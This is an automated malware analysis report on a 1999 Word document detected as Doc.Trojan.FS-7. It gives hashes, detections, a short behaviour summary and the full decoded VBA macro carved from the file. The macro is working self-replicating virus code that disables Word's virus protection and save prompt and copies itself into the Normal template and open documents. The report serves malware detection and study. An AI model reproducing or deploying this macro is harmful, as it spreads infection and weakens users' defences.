Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 322f849e44686a66…

MALICIOUS

Office (OLE)

26.5 KB Created: 1999-08-04 07:35:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 17fc51bbe7db7fc79ac49ff4d6bdf746 SHA-1: 4b1537df1518912d8329426152529989e1806850 SHA-256: 322f849e44686a6635025f12f40ff81b44ca53748344505157cfc32287182ade
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a Microsoft Word document containing VBA macros. The macros appear to modify the Normal.dot template and disable virus protection, suggesting an attempt to establish persistence or evade security measures. The copyright notice 'Copyright (C) 1998 by FlyShadow ~^^~' is present in the macro code.

Heuristics 2

  • ClamAV: Doc.Trojan.FS-7 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FS-7
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 816 bytes
SHA-256: 7f1bb67779763d3348f27db82dbcc9aa71480eb7ead9be908c37e71b25fc641a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - Semis
Private Sub Document_Close(): On Error Resume Next
Options.VirusProtection = &H0: Options.SaveNormalPrompt = &H0
Set ι = ThisDocument.VBProject.VBComponents(1).CodeModule: ν = ι.Lines(1, 1)
With ActiveDocument.VBProject.VBComponents(1).CodeModule
If ν <> .Lines(1, 1) Then .DeleteLines 1, .CountOfLines: .AddFromString ι.Lines(1, 11)
End With
With NormalTemplate.VBProject.VBComponents(1).CodeModule
If ν <> .Lines(1, 1) Then .DeleteLines 1, .CountOfLines: .AddFromString ι.Lines(1, 11)
End With
End Sub